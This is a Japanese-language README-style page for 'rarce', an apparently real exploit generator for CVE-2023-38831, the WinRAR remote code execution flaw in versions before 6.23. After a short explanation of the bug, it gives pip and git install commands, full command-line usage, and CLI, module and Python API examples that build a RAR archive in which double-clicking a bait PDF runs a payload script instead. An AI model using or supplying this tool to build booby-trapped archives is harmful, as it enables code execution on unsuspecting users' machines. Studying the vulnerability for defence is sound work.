
インストールと実行が簡単なCVE-2023-38831(バージョン6.23未満のWinRAR RCE)向けのエクスプロイトペイロード生成ツール
これはインストールも使用も簡単で、多用途なエクスプロイトジェネレーターです。CVE-2023-38831 は、WinRAR 6.23 以前のバージョンに影響を与える脆弱性です。
RARLabs WinRAR 6.23 以前のバージョンでは、ユーザーが ZIP アーカイブ内の良性ファイルを表示しようとすると、攻撃者が任意のコードを実行できる可能性があります。この問題は、ZIP アーカイブに良性ファイル(通常の .JPG ファイルなど)と、その良性ファイルと同じ名前のフォルダが含まれている場合に発生します。良性ファイルのみにアクセスしようとすると、フォルダの内容(実行可能なコンテンツを含む可能性があります)が処理されます。これは 2023 年 4 月から 8 月にかけて実際に悪用されました。

pip で簡単にツールをインストールできます。
pip install rarce
または、ソースコードから使用することもできます。
git clone https://github.com/ignis-sec/CVE-2023-38831-RaRCE
cd CVE-2023-38831-RaRCE
python3 setup.py install
usage: rarce [-h] [-v] [-i] [-dt] [-pt PRESERVE_TEMP] bait switch output
Exploit generator for CVE-2023-38831
positional arguments:
bait Path to the bait file to to add to the archive.
switch Path to the payload to switcheroo with the bait file on double click.
output Path to the output file.
optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbose output.
-i, --ignore-path-check
Ignore path validity check. If given, rarce can overwrite existing files given in output parameter, and can create missing folders for
output path.
-dt, --dont-use-tempdir
Prevent the tool from creating a temporary directory when creating the exploit. Instead, create the intermediate folders in current
working directory.
-pt PRESERVE_TEMP, --preserve-temp PRESERVE_TEMP
Preserve the temporary directory after creating the exploit. Has no effect if -dt or --dont-use-tempdir is not specified.
pip または setup.py でインストールした後、コマンドラインからこのツールを使用できます。次のコマンドでエクスプロイトファイルが作成されます。ユーザーがベイトファイルをダブルクリックすると、代わりにペイロードスクリプトまたは実行可能ファイルが実行されます。
$ rarce "totally legit pdf.pdf" "payload.cmd" "exploit.rar"
オプションとして、実行可能モジュールとして使用することもできます。
python -m rarce "totally legit pdf.pdf" "payload.cmd" "exploit.rar"
既存のコード内で使用することもできます。
from rarce import exploit
exploit("totally legit pdf.pdf", "payload.cmd", "exploit.rar")